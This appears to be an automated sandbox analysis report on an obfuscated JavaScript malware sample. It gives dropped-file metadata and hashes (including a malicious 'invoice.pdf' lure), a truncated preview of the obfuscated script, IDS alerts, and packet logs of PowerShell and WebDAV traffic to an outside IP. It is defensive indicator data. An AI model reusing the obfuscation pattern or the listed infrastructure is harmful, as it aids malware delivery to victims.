Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15652), with CRLF line terminators
Entropy (8bit):	4.881142351619605
TrID:
File name:	25917225161220417691.js
File size:	18'964 bytes
MD5:	d5abaf9f7b38aeb113c6f7af91b649bf
SHA1:	2e5ea815d11846073e85583bf9e0c3e12b654390
SHA256:	d31a7cc56cae15a050a957ed527d6a6cd3356111a51bef66e2347885e493acff
SHA512:	06f7e87d7ef9c64df35516023b1460816a892cd6894b2e7989d487eded81a35d3d4c37095b0fd169cbeba6079da2b79c2bb9c6c03f255a24f6c3d3ea6d94bdd0
SSDEEP:	192:bwW+SFm2sYWESgtvIOer0h9jT3lhtkAW+4AF3XU6kUwtRhB436g02AkfQNXimj5E:SStG0hJ3uf1Tmk7vIA8BOIW/k
TLSH:	198222C95A08A5BFCECC18D61AA79CE7B6095189E371F69FE1C041089B4FD3EA5C10F6
File Content Preview:	function itjivh(){mlosmfk=[1031,3079,5127,4103,2055,3072];var snenjefq=this[cceol+pyasy+snqtvzlwj+kyjld+aewmvacb+lfqun+nfzhnpya+vmwiemi](this[iznxnl+bjdjzlqx+asxzbn+snqtvzlwj+itjlgmd+cceol+vmwiemi][aksvfj+snqtvzlwj+aewmvacb+pyasy+vmwiemi+aewmvacb+dtjunmxl

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T17:16:44.319017+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T17:16:46.546508+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:16:43.529126883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:43.534058094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:43.534174919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:43.537020922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:43.542154074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.318893909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.318922043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.318934917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.318947077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.318958998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.318970919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.318984985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.318996906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.319010019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.319016933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.319022894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.319104910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.361615896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.361635923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.361645937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.361764908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.406073093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.442733049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.442749023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.442811966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.442912102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.442986012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.442997932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.443010092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.443039894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.443063974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.443397999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.443409920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.443422079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.443433046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.443444014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.443450928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.443468094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.444228888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.444242954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.444262981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.444267988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.444276094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.444288969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.444302082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.444330931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.445008993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.445058107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.445069075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.445080996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.445096970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.445112944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.449877024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.449928999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.449939013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.449949980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.449965954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.449982882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.496689081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.496750116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.496798992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.531431913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.531449080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.531548023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.567181110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.567248106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.567289114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.567320108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.567348003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.567384958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.567394972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.567421913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.567466974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.567504883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.567590952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.567625046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.567660093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.567692995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.567723989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.567723989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.567729950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.567765951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.567773104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.568465948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.568500042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.568527937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.568535089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.568567991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.568597078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.568603039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.568638086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.568646908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.568675041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.568721056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.569271088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.569323063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.569356918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.569369078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.569391966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.569427013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.569436073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.569462061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.569498062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.569508076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.570254087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.570291042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.570311069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.570343018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.570354939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.570379019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.570379972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.570414066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.570424080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.570450068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.570499897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.571142912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.571176052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.571212053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.571244001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.571244955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.571280956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.571317911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.571331978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.571372032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.571382046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.571943045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.571978092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.572012901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.572096109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.572096109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.619750977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.620919943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.620934010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.620950937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.620963097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.620995998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.621067047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.655556917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.655575037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.655663013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.691340923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.691412926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.691452026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.691488028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.691499949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.691524982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.691550970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.691560030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.691596985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.691612005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.691632032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.691667080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.691679955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.691703081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.691756010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.691796064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.691827059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.691874027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.691881895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.691919088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.691952944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.691971064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.692069054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.692118883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.692122936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.692158937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.692199945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.692203999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.692246914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.692292929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.692543983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.692594051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.692627907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.692637920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.692662954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.692697048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.692708969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.692730904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.692764044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.692775965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.692799091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.692833900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.692845106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.692867994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.692902088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.692929983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.692938089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.692989111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.693334103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.693389893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.693423033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.693449974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.693456888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.693500996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.693514109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.693564892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.693598032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.693610907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.693631887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.693665028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.693674088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.693700075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.693732977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.693743944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.693769932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.693820000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.694345951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.694397926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.694432974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.694446087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.694467068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.694500923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.694508076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.694535971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.694569111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.694582939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.694602966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.694637060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.694641113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.694672108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.694706917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.694721937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.694741011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.694786072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.695293903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.695318937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.695332050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.695343971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.695358038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.695369959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.695373058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.695383072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.695388079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.695398092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.695405960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.695410013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.695421934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.695434093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.695440054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.695447922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.695457935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.695483923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.696156979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.696177006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.696197033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.696208000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.696219921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.696219921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.696233034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.696243048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.696274042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.698055983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.703490019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.709398031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.709451914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.709491968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.709506989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.709543943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.709587097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.709593058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.709639072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.709672928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.709680080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.709703922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.709737062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.709738016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.709773064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.709805965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.709814072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.709842920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.709878922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.719619989 CET	49704	80	192.168.2.5	193.143.1.205
